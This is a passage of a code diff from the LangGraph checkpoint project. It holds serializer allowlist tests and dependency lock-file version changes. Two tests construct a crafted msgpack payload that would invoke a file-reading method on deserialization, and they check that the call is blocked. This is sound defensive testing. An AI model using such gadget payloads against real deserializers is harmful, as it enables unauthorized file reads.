caplog.clear()
dumped = serde.dumps_typed(safe)
result = serde.loads_typed(dumped)
assert "blocked" not in caplog.text.lower()
assert result == safe
def test_msgpack_strict_allows_core_langchain_messages(
caplog: pytest.LogCaptureFixture,
) -> None:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
msg = HumanMessage(content="hello")
caplog.clear()
result = serde.loads_typed(serde.dumps_typed(msg))
assert "blocked" not in caplog.text.lower()
assert "unregistered" not in caplog.text.lower()
assert isinstance(result, HumanMessage)
assert result == msg
def test_msgpack_strict_allows_langchain_document(
caplog: pytest.LogCaptureFixture,
) -> None:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
doc = Document(page_content="hello", metadata={"k": "v"})
caplog.clear()
result = serde.loads_typed(serde.dumps_typed(doc))
assert "blocked" not in caplog.text.lower()
assert "unregistered" not in caplog.text.lower()
assert isinstance(result, Document)
assert result == doc
def test_msgpack_regex_safe_type(caplog: pytest.LogCaptureFixture) -> None:
"""re.compile patterns should deserialize without warnings as a safe type."""
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
pattern = re.compile(r"foo.*bar", re.IGNORECASE | re.DOTALL)
caplog.clear()
dumped = serde.dumps_typed(pattern)
result = serde.loads_typed(dumped)
assert "blocked" not in caplog.text.lower()
assert "unregistered" not in caplog.text.lower()
assert result.pattern == pattern.pattern
assert result.flags == pattern.flags
def test_msgpack_method_pathlib_blocked_in_strict(
tmp_path: pathlib.Path, caplog: pytest.LogCaptureFixture
) -> None:
target = tmp_path / "secret.txt"
target.write_text("secret")
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
payload = ormsgpack.packb(
ormsgpack.Ext(
EXT_METHOD_SINGLE_ARG,
_msgpack_enc(("pathlib", "Path", target, "read_text")),
),
option=ormsgpack.OPT_NON_STR_KEYS,
)
caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus")
caplog.clear()
result = serde.loads_typed(("msgpack", payload))
assert result == target
assert "blocked deserialization of method call pathlib.path.read_text" in (
caplog.text.lower()
)
def test_msgpack_method_pathlib_blocked_default_mode(
tmp_path: pathlib.Path, caplog: pytest.LogCaptureFixture
) -> None:
target = tmp_path / "secret.txt"
target.write_text("secret")
serde = JsonPlusSerializer(allowed_msgpack_modules=True)
payload = ormsgpack.packb(
ormsgpack.Ext(
EXT_METHOD_SINGLE_ARG,
_msgpack_enc(("pathlib", "Path", target, "read_text")),
),
option=ormsgpack.OPT_NON_STR_KEYS,
)
caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus")
caplog.clear()
result = serde.loads_typed(("msgpack", payload))
assert result == target
assert "blocked deserialization of method call pathlib.path.read_text" in (
caplog.text.lower()
)
def test_msgpack_regex_still_works_strict(caplog: pytest.LogCaptureFixture) -> None:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
pattern = re.compile(r"pattern", re.IGNORECASE | re.MULTILINE)
caplog.clear()
result = serde.loads_typed(serde.dumps_typed(pattern))
assert "blocked" not in caplog.text.lower()
assert result.pattern == pattern.pattern
assert result.flags == pattern.flags
def test_msgpack_path_constructor_still_works() -> None:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
path_obj = pathlib.Path("/tmp/foo")
result = serde.loads_typed(serde.dumps_typed(path_obj))
assert result == path_obj
def test_with_msgpack_allowlist_noop_returns_same_instance() -> None:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
result = serde.with_msgpack_allowlist(())
assert result is serde
def test_with_msgpack_allowlist_supports_subclass_without_init_kwargs() -> None:
class CustomSerializer(JsonPlusSerializer):
def __init__(self) -> None:
super().__init__(allowed_msgpack_modules=None)
serde = CustomSerializer()
result = serde.with_msgpack_allowlist([MyDataclass])
assert isinstance(result, CustomSerializer)
assert result is not serde
assert serde._allowed_msgpack_modules is None
assert result._allowed_msgpack_modules == {
(MyDataclass.__module__, MyDataclass.__name__)
}
def test_with_msgpack_allowlist_rebuilds_default_unpack_hook() -> None:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
original_hook = serde._unpack_ext_hook
result = serde.with_msgpack_allowlist([MyDataclass])
assert result._unpack_ext_hook is not original_hook
def test_with_msgpack_allowlist_preserves_custom_unpack_hook() -> None:
def custom_hook(code: int, data: bytes) -> None:
return None
serde = JsonPlusSerializer(
allowed_msgpack_modules=None, __unpack_ext_hook__=custom_hook
)
result = serde.with_msgpack_allowlist([MyDataclass])
assert result._unpack_ext_hook is custom_hook
@pytest.mark.skipif(sys.version_info >= (3, 14), reason="pydantic v1 not on 3.14+")
def test_msgpack_pydantic_v1_allowlist(caplog: pytest.LogCaptureFixture) -> None:
"""Pydantic v1 models in allowlist should deserialize without warnings."""
serde = JsonPlusSerializer(
allowed_msgpack_modules=[
("tests.test_jsonplus", "MyPydanticV1"),
("tests.test_jsonplus", "InnerPydanticV1"),
]
)
obj = MyPydanticV1(foo="test", bar=42, inner=InnerPydanticV1(hello="world"))
caplog.clear()
dumped = serde.dumps_typed(obj)
result = serde.loads_typed(dumped)
assert "unregistered type" not in caplog.text.lower()
assert "blocked" not in caplog.text.lower()
assert result == obj
def test_msgpack_dataclass_allowlist(caplog: pytest.LogCaptureFixture) -> None:
"""Dataclasses in allowlist should deserialize without warnings."""
serde = JsonPlusSerializer(
allowed_msgpack_modules=[
("tests.test_jsonplus", "MyDataclass"),
("tests.test_jsonplus", "InnerDataclass"),
]
)
obj = MyDataclass(foo="test", bar=42, inner=InnerDataclass(hello="world"))
caplog.clear()
dumped = serde.dumps_typed(obj)
result = serde.loads_typed(dumped)
assert "unregistered type" not in caplog.text.lower()
assert "blocked" not in caplog.text.lower()
assert result == obj
def test_msgpack_safe_types_value_equality(caplog: pytest.LogCaptureFixture) -> None:
"""Verify safe types are correctly restored with proper values."""
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
test_cases = [
datetime(2024, 1, 15, 12, 30, 45, 123456),
date(2024, 6, 15),
time(14, 30, 0),
uuid.UUID("12345678-1234-5678-1234-567812345678"),
Decimal("123.456789"),
{1, 2, 3, 4, 5},
frozenset(["a", "b", "c"]),
deque([1, 2, 3]),
IPv4Address("10.0.0.1"),
pathlib.Path("/some/test/path"),
re.compile(r"\d+", re.MULTILINE),
]
for obj in test_cases:
caplog.clear()
dumped = serde.dumps_typed(obj)
result = serde.loads_typed(dumped)
assert "blocked" not in caplog.text.lower(), f"Blocked for {type(obj)}"
# For regex patterns, compare pattern and flags
if isinstance(obj, re.Pattern):
assert result.pattern == obj.pattern
assert result.flags == obj.flags
else:
assert result == obj, f"Value mismatch for {type(obj)}: {result} != {obj}"
def test_msgpack_nested_pydantic_serializes_as_dict(
caplog: pytest.LogCaptureFixture,
) -> None:
"""Nested Pydantic models are serialized via model_dump() as dicts.
This means nested models don't go through the ext hook and don't need
to be in the allowlist - only the outer type does.
"""
# Only allow outer type - inner is serialized as dict via model_dump()
serde = JsonPlusSerializer(
allowed_msgpack_modules=[("tests.test_jsonplus", "MyPydantic")]
)
obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world"))
caplog.clear()
dumped = serde.dumps_typed(obj)
result = serde.loads_typed(dumped)
# No blocking should occur - inner is serialized as dict, not ext
assert "blocked" not in caplog.text.lower()
assert result == obj
-109
View File
@@ -1,9 +1,7 @@
import logging
from typing import Any
import pytest
from langchain_core.runnables import RunnableConfig
from pydantic import BaseModel
from langgraph.checkpoint.base import (
Checkpoint,
@@ -12,11 +10,6 @@ from langgraph.checkpoint.base import (
empty_checkpoint,
)
from langgraph.checkpoint.memory import InMemorySaver
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
class MemoryPydantic(BaseModel):
foo: str
class TestMemorySaver:
@@ -206,105 +199,3 @@ async def test_memory_saver() -> None:
with memory_saver as sync_memory_saver:
assert sync_memory_saver is memory_saver
def test_memory_saver_warns_on_unregistered_msgpack(
caplog: pytest.LogCaptureFixture,
) -> None:
serde = JsonPlusSerializer()
memory_saver = InMemorySaver(serde=serde)
obj = MemoryPydantic(foo="bar")
checkpoint = empty_checkpoint()
checkpoint["channel_values"] = {"foo": obj}
checkpoint["channel_versions"] = {"foo": 1}
config: RunnableConfig = {
"configurable": {"thread_id": "thread-1", "checkpoint_ns": ""}
}
caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus")
new_config = memory_saver.put(config, checkpoint, {}, {"foo": 1})
result = memory_saver.get_tuple(new_config)
assert result is not None
assert "unregistered type" in caplog.text.lower()
assert result.checkpoint["channel_values"]["foo"] == obj
def test_memory_saver_allowlist_silences_warning(
caplog: pytest.LogCaptureFixture,
) -> None:
serde = JsonPlusSerializer(
allowed_msgpack_modules=[("tests.test_memory", "MemoryPydantic")]
)
memory_saver = InMemorySaver(serde=serde)
obj = MemoryPydantic(foo="bar")
checkpoint = empty_checkpoint()
checkpoint["channel_values"] = {"foo": obj}
checkpoint["channel_versions"] = {"foo": 1}
config: RunnableConfig = {
"configurable": {"thread_id": "thread-1", "checkpoint_ns": ""}
}
caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus")
new_config = memory_saver.put(config, checkpoint, {}, {"foo": 1})
result = memory_saver.get_tuple(new_config)
assert result is not None
assert "unregistered type" not in caplog.text.lower()
assert result.checkpoint["channel_values"]["foo"] == obj
def test_memory_saver_strict_blocks_unregistered(
caplog: pytest.LogCaptureFixture,
) -> None:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
memory_saver = InMemorySaver(serde=serde)
obj = MemoryPydantic(foo="bar")
checkpoint = empty_checkpoint()
checkpoint["channel_values"] = {"foo": obj}
checkpoint["channel_versions"] = {"foo": 1}
config: RunnableConfig = {
"configurable": {"thread_id": "thread-1", "checkpoint_ns": ""}
}
caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus")
new_config = memory_saver.put(config, checkpoint, {}, {"foo": 1})
result = memory_saver.get_tuple(new_config)
assert result is not None
assert "blocked" in caplog.text.lower()
expected = obj.model_dump() if hasattr(obj, "model_dump") else obj.dict()
assert result.checkpoint["channel_values"]["foo"] == expected
def test_memory_saver_with_allowlist_proxy_isolated() -> None:
serde = JsonPlusSerializer(allowed_msgpack_modules=None)
memory_saver = InMemorySaver(serde=serde)
proxy = memory_saver.with_allowlist([("tests.test_memory", "MemoryPydantic")])
obj = MemoryPydantic(foo="bar")
checkpoint = empty_checkpoint()
checkpoint["channel_values"] = {"foo": obj}
checkpoint["channel_versions"] = {"foo": 1}
config: RunnableConfig = {
"configurable": {"thread_id": "thread-1", "checkpoint_ns": ""}
}
new_config = proxy.put(config, checkpoint, {}, {"foo": 1})
proxied = proxy.get_tuple(new_config)
assert proxied is not None
assert proxied.checkpoint["channel_values"]["foo"] == obj
direct = memory_saver.get_tuple(new_config)
assert direct is not None
expected = obj.model_dump() if hasattr(obj, "model_dump") else obj.dict()
assert direct.checkpoint["channel_values"]["foo"] == expected
+104 -141
View File
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[[package]]
@@ -267,7 +267,7 @@ wheels = [
[[package]]
name = "langchain-core"
version = "1.2.19"
version = "1.2.14"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "jsonpatch" },
@@ -279,14 +279,14 @@ dependencies = [
{ name = "typing-extensions" },
{ name = "uuid-utils" },
]
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[[package]]
name = "langgraph-checkpoint"
version = "4.0.1"
version = "4.0.0"
source = { editable = "." }
dependencies = [
{ name = "langchain-core" },
@@ -302,7 +302,6 @@ dev = [
{ name = "numpy", version = "2.4.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
{ name = "pandas" },
{ name = "pandas-stubs" },
{ name = "pycryptodome" },
{ name = "pytest" },
{ name = "pytest-asyncio" },
{ name = "pytest-mock" },
@@ -342,7 +341,6 @@ dev = [
{ name = "numpy" },
{ name = "pandas" },
{ name = "pandas-stubs", specifier = ">=2.2.2.240807" },
{ name = "pycryptodome", specifier = ">=3.23.0" },
{ name = "pytest" },
{ name = "pytest-asyncio" },
{ name = "pytest-mock" },
@@ -676,83 +674,83 @@ wheels = [
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version = "3.11.5"
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[[package]]
@@ -5,5 +5,5 @@ description = "Test for prerelease stuff"
readme = "README.md"
requires-python = ">=3.10"
dependencies = [
"langgraph==1.1.2"
"langgraph==1.0.8"
]
@@ -7,7 +7,7 @@ requires-python = ">=3.10"
dependencies = [
"langchain-openai==1.0.0a2",
"langchain-anthropic==1.0.0a5",
"langgraph==1.1.2"
"langgraph==1.0.8"
]
[tool.uv]
@@ -6,6 +6,6 @@ readme = "README.md"
requires-python = ">=3.10"
dependencies = [
"langchain-openai==1.0.0a2",
"langgraph==1.1.2",
"langgraph==1.0.0a2",
"langchain_community>=0.3.0",
]
+7 -7
View File
@@ -21,23 +21,23 @@
"test:all": "yarn test && yarn test:int && yarn lint:langgraph"
},
"dependencies": {
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"@langchain/langgraph": "^1.2.2"
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},
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"typescript": "^5.9.3"
File diff suppressed because it is too large Load Diff
@@ -9,8 +9,8 @@
},
"dependencies": {
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"@langchain/langgraph": "^1.2.2"
"@langchain/core": "^1.1.27",
"@langchain/langgraph": "^1.1.5"
},
"devDependencies": {
"typescript": "^5.9.3"
+5 -5
View File
@@ -17,18 +17,18 @@
"lint": "eslint 'apps/**/*.ts' 'libs/**/*.ts'"
},
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"turbo": "^2.8.10",
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"prettier": "^3.8.1"
}
}
+178 -170
View File
@@ -19,14 +19,14 @@
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@@ -35,26 +35,26 @@
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minimatch "^3.1.5"
minimatch "^3.1.2"
strip-json-comments "^3.1.1"
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version "3.0.2"
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levn "^0.4.1"
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@@ -103,13 +103,12 @@
resolved "https://registry.yarnpkg.com/@isaacs/cliui/-/cliui-9.0.0.tgz#4d0a3f127058043bf2e7ee169eaf30ed901302f3"
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version "1.1.32"
resolved "https://registry.yarnpkg.com/@langchain/core/-/core-1.1.32.tgz#a9baf37e5cb40e8b877160d5d03ef3bf6e8e250d"
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"@langchain/core@^1.1.27":
version "1.1.27"
resolved "https://registry.yarnpkg.com/@langchain/core/-/core-1.1.27.tgz#b5a05c014eef2973006fd9e0df1e135b9da640e2"
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dependencies:
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ansi-styles "^5.0.0"
camelcase "6"
decamelize "1.2.0"
@@ -117,7 +116,7 @@
langsmith ">=0.5.0 <1.0.0"
mustache "^4.2.0"
p-queue "^6.6.2"
uuid "^11.1.0"
uuid "^10.0.0"
zod "^3.25.76 || ^4"
"@langchain/langgraph-checkpoint@^1.0.0":
@@ -127,23 +126,23 @@
dependencies:
uuid "^10.0.0"
"@langchain/langgraph-sdk@~1.7.0":
version "1.7.2"
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dependencies:
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p-queue "^9.0.1"
p-retry "^7.1.1"
uuid "^13.0.0"
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resolved "https://registry.yarnpkg.com/@langchain/langgraph/-/langgraph-1.1.5.tgz#7cab6c585b5e60ac52e70ef941ba6054f45b0d88"
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uuid "^10.0.0"
@@ -157,7 +156,7 @@
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@@ -192,100 +191,100 @@
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debug "^4.4.3"
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debug "^4.4.3"
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debug "^4.4.3"
ts-api-utils "^2.4.0"
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version "8.57.0"
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resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.57.0.tgz#e0e4a89bfebb207de314826df876e2dabc7dea04"
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version "8.56.0"
resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.56.0.tgz#fadbc74c14c5bac947db04980ff58bb178701c2e"
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dependencies:
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"@typescript-eslint/visitor-keys" "8.56.0"
debug "^4.4.3"
minimatch "^10.2.2"
minimatch "^9.0.5"
semver "^7.7.3"
tinyglobby "^0.2.15"
ts-api-utils "^2.4.0"
"@typescript-eslint/utils@8.57.0":
version "8.57.0"
resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.57.0.tgz#c7193385b44529b788210d20c94c11de79ad3498"
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"@typescript-eslint/utils@8.56.0":
version "8.56.0"
resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.56.0.tgz#063ce6f702ec603de1b83ee795ed5e877d6f7841"
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dependencies:
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"@typescript-eslint/scope-manager" "8.57.0"
"@typescript-eslint/types" "8.57.0"
"@typescript-eslint/typescript-estree" "8.57.0"
"@typescript-eslint/scope-manager" "8.56.0"
"@typescript-eslint/types" "8.56.0"
"@typescript-eslint/typescript-estree" "8.56.0"
"@typescript-eslint/visitor-keys@8.57.0":
version "8.57.0"
resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.57.0.tgz#23aea662279bb66209700854453807a119350f85"
integrity sha512-zm6xx8UT/Xy2oSr2ZXD0pZo7Jx2XsCoID2IUh9YSTFRu7z+WdwYTRk6LhUftm1crwqbuoF6I8zAFeCMw0YjwDg==
"@typescript-eslint/visitor-keys@8.56.0":
version "8.56.0"
resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.56.0.tgz#7d6592ab001827d3ce052155edf7ecad19688d7d"
integrity sha512-q+SL+b+05Ud6LbEE35qe4A99P+htKTKVbyiNEe45eCbJFyh/HVK9QXwlrbz+Q4L8SOW4roxSVwXYj4DMBT7Ieg==
dependencies:
"@typescript-eslint/types" "8.57.0"
"@typescript-eslint/types" "8.56.0"
eslint-visitor-keys "^5.0.0"
acorn-jsx@^5.3.2:
@@ -303,10 +302,10 @@ acorn@^8.16.0:
resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.16.0.tgz#4ce79c89be40afe7afe8f3adb902a1f1ce9ac08a"
integrity sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==
ajv@^6.14.0:
version "6.14.0"
resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.14.0.tgz#fd067713e228210636ebb08c60bd3765d6dbe73a"
integrity sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==
ajv@^6.12.4:
version "6.12.6"
resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
dependencies:
fast-deep-equal "^3.1.1"
fast-json-stable-stringify "^2.0.0"
@@ -435,6 +434,13 @@ brace-expansion@^1.1.7:
balanced-match "^1.0.0"
concat-map "0.0.1"
brace-expansion@^2.0.1:
version "2.0.2"
resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.2.tgz#54fc53237a613d854c7bd37463aad17df87214e7"
integrity sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==
dependencies:
balanced-match "^1.0.0"
brace-expansion@^5.0.2:
version "5.0.2"
resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-5.0.2.tgz#b6c16d0791087af6c2bc463f52a8142046c06b6f"
@@ -771,10 +777,10 @@ eslint-plugin-prettier@^5.5.5:
prettier-linter-helpers "^1.0.1"
synckit "^0.11.12"
eslint-scope@^9.1.2:
version "9.1.2"
resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-9.1.2.tgz#b9de6ace2fab1cff24d2e58d85b74c8fcea39802"
integrity sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ==
eslint-scope@^9.1.1:
version "9.1.1"
resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-9.1.1.tgz#f6a209486e38bd28356b5feb07d445cc99c89967"
integrity sha512-GaUN0sWim5qc8KVErfPBWmc31LEsOkrUJbvJZV+xuL3u2phMUK4HIvXlWAakfC8W4nzlK+chPEAkYOYb5ZScIw==
dependencies:
"@types/esrecurse" "^4.3.1"
"@types/estree" "^1.0.8"
@@ -796,26 +802,26 @@ eslint-visitor-keys@^5.0.0, eslint-visitor-keys@^5.0.1:
resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz#9e3c9489697824d2d4ce3a8ad12628f91e9f59be"
integrity sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==
eslint@^10.0.3:
version "10.0.3"
resolved "https://registry.yarnpkg.com/eslint/-/eslint-10.0.3.tgz#360a7de7f2706eb8a32caa17ca983f0089efe694"
integrity sha512-COV33RzXZkqhG9P2rZCFl9ZmJ7WL+gQSCRzE7RhkbclbQPtLAWReL7ysA0Sh4c8Im2U9ynybdR56PV0XcKvqaQ==
eslint@^10.0.1:
version "10.0.1"
resolved "https://registry.yarnpkg.com/eslint/-/eslint-10.0.1.tgz#b5c5f7706782a21590ba6451e7a30d2947273c2d"
integrity sha512-20MV9SUdeN6Jd84xESsKhRly+/vxI+hwvpBMA93s+9dAcjdCuCojn4IqUGS3lvVaqjVYGYHSRMCpeFtF2rQYxQ==
dependencies:
"@eslint-community/eslint-utils" "^4.8.0"
"@eslint-community/regexpp" "^4.12.2"
"@eslint/config-array" "^0.23.3"
"@eslint/config-array" "^0.23.2"
"@eslint/config-helpers" "^0.5.2"
"@eslint/core" "^1.1.1"
"@eslint/plugin-kit" "^0.6.1"
"@eslint/core" "^1.1.0"
"@eslint/plugin-kit" "^0.6.0"
"@humanfs/node" "^0.16.6"
"@humanwhocodes/module-importer" "^1.0.1"
"@humanwhocodes/retry" "^0.4.2"
"@types/estree" "^1.0.6"
ajv "^6.14.0"
ajv "^6.12.4"
cross-spawn "^7.0.6"
debug "^4.3.2"
escape-string-regexp "^4.0.0"
eslint-scope "^9.1.2"
eslint-scope "^9.1.1"
eslint-visitor-keys "^5.0.1"
espree "^11.1.1"
esquery "^1.7.0"
@@ -828,7 +834,7 @@ eslint@^10.0.3:
imurmurhash "^0.1.4"
is-glob "^4.0.0"
json-stable-stringify-without-jsonify "^1.0.1"
minimatch "^10.2.4"
minimatch "^10.2.1"
natural-compare "^1.4.0"
optionator "^0.9.3"
@@ -1373,20 +1379,27 @@ math-intrinsics@^1.1.0:
resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz#a0dd74be81e2aa5c2f27e65ce283605ee4e2b7f9"
integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
minimatch@^10.2.2, minimatch@^10.2.4:
version "10.2.4"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.4.tgz#465b3accbd0218b8281f5301e27cedc697f96fde"
integrity sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==
minimatch@^10.2.1:
version "10.2.2"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.2.tgz#361603ee323cfb83496fea2ae17cc44ea4e1f99f"
integrity sha512-+G4CpNBxa5MprY+04MbgOw1v7So6n5JY166pFi9KfYwT78fxScCeSNQSNzp6dpPSW2rONOps6Ocam1wFhCgoVw==
dependencies:
brace-expansion "^5.0.2"
minimatch@^3.1.2, minimatch@^3.1.5:
version "3.1.5"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.5.tgz#580c88f8d5445f2bd6aa8f3cadefa0de79fbd69e"
integrity sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==
minimatch@^3.1.2:
version "3.1.2"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
dependencies:
brace-expansion "^1.1.7"
minimatch@^9.0.5:
version "9.0.5"
resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.5.tgz#d74f9dd6b57d83d8e98cfb82133b03978bc929e5"
integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
dependencies:
brace-expansion "^2.0.1"
minimist@^1.2.0, minimist@^1.2.6:
version "1.2.8"
resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c"
@@ -1850,47 +1863,47 @@ tsconfig-paths@^3.15.0:
minimist "^1.2.6"
strip-bom "^3.0.0"
turbo-darwin-64@2.8.17:
version "2.8.17"
resolved "https://registry.yarnpkg.com/turbo-darwin-64/-/turbo-darwin-64-2.8.17.tgz#265fe92ca6c923fae0c688b2dbcce5602e121221"
integrity sha512-ZFkv2hv7zHpAPEXBF6ouRRXshllOavYc+jjcrYyVHvxVTTwJWsBZwJ/gpPzmOKGvkSjsEyDO5V6aqqtZzwVF+Q==
turbo-darwin-64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-darwin-64/-/turbo-darwin-64-2.8.10.tgz#38ba73b9bbb3459cd27c6d3b5777bae80daa7e9f"
integrity sha512-A03fXh+B7S8mL3PbdhTd+0UsaGrhfyPkODvzBDpKRY7bbeac4MDFpJ7I+Slf2oSkCEeSvHKR7Z4U71uKRUfX7g==
turbo-darwin-arm64@2.8.17:
version "2.8.17"
resolved "https://registry.yarnpkg.com/turbo-darwin-arm64/-/turbo-darwin-arm64-2.8.17.tgz#0a0fd172a0ea28cc10e494ccf56f8e44301cdd2d"
integrity sha512-5DXqhQUt24ycEryXDfMNKEkW5TBHs+QmU23a2qxXwwFDaJsWcPo2obEhBxxdEPOv7qmotjad+09RGeWCcJ9JDw==
turbo-darwin-arm64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-darwin-arm64/-/turbo-darwin-arm64-2.8.10.tgz#1c7a278a6361aef0a4e94849bf7181ff3c91d782"
integrity sha512-sidzowgWL3s5xCHLeqwC9M3s9M0i16W1nuQF3Mc7fPHpZ+YPohvcbVFBB2uoRRHYZg6yBnwD4gyUHKTeXfwtXA==
turbo-linux-64@2.8.17:
version "2.8.17"
resolved "https://registry.yarnpkg.com/turbo-linux-64/-/turbo-linux-64-2.8.17.tgz#d4361e48bb0b3c849200723157ecfa085fe465dd"
integrity sha512-KLUbz6w7F73D/Ihh51hVagrKR0/CTsPEbRkvXLXvoND014XJ4BCrQUqSxlQ4/hu+nqp1v5WlM85/h3ldeyujuA==
turbo-linux-64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-linux-64/-/turbo-linux-64-2.8.10.tgz#aaa6ede45619daab2be359ec6afc3b0a73941272"
integrity sha512-YK9vcpL3TVtqonB021XwgaQhY9hJJbKKUhLv16osxV0HkcQASQWUqR56yMge7puh6nxU67rQlTq1b7ksR1T3KA==
turbo-linux-arm64@2.8.17:
version "2.8.17"
resolved "https://registry.yarnpkg.com/turbo-linux-arm64/-/turbo-linux-arm64-2.8.17.tgz#3fc2d0c93786874651b679ea7a269e3449b2463c"
integrity sha512-pJK67XcNJH40lTAjFu7s/rUlobgVXyB3A3lDoq+/JccB3hf+SysmkpR4Itlc93s8LEaFAI4mamhFuTV17Z6wOg==
turbo-linux-arm64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-linux-arm64/-/turbo-linux-arm64-2.8.10.tgz#a9a52e4eca69968d85f09adb24ba3aec24a50023"
integrity sha512-3+j2tL0sG95iBJTm+6J8/45JsETQABPqtFyYjVjBbi6eVGdtNTiBmHNKrbvXRlQ3ZbUG75bKLaSSDHSEEN+btQ==
turbo-windows-64@2.8.17:
version "2.8.17"
resolved "https://registry.yarnpkg.com/turbo-windows-64/-/turbo-windows-64-2.8.17.tgz#67f45f883fef586f12807d332702fb8009cce1af"
integrity sha512-EijeQ6zszDMmGZLP2vT2RXTs/GVi9rM0zv2/G4rNu2SSRSGFapgZdxgW4b5zUYLVaSkzmkpWlGfPfj76SW9yUg==
turbo-windows-64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-windows-64/-/turbo-windows-64-2.8.10.tgz#b0f64a29451477c1ecdc7dbe0555b8e75c464044"
integrity sha512-hdeF5qmVY/NFgiucf8FW0CWJWtyT2QPm5mIsX0W1DXAVzqKVXGq+Zf+dg4EUngAFKjDzoBeN6ec2Fhajwfztkw==
turbo-windows-arm64@2.8.17:
version "2.8.17"
resolved "https://registry.yarnpkg.com/turbo-windows-arm64/-/turbo-windows-arm64-2.8.17.tgz#e3c2a471f6f64e1e4084bd3e51d219cbd6e60608"
integrity sha512-crpfeMPkfECd4V1PQ/hMoiyVcOy04+bWedu/if89S15WhOalHZ2BYUi6DOJhZrszY+mTT99OwpOsj4wNfb/GHQ==
turbo-windows-arm64@2.8.10:
version "2.8.10"
resolved "https://registry.yarnpkg.com/turbo-windows-arm64/-/turbo-windows-arm64-2.8.10.tgz#8d178389a995f98142b7ce8f76e1fce8a4b7c79d"
integrity sha512-QGdr/Q8LWmj+ITMkSvfiz2glf0d7JG0oXVzGL3jxkGqiBI1zXFj20oqVY0qWi+112LO9SVrYdpHS0E/oGFrMbQ==
turbo@^2.8.17:
version "2.8.17"
resolved "https://registry.yarnpkg.com/turbo/-/turbo-2.8.17.tgz#45abeefe9d2ee06bc69c906e8384514b49822dbc"
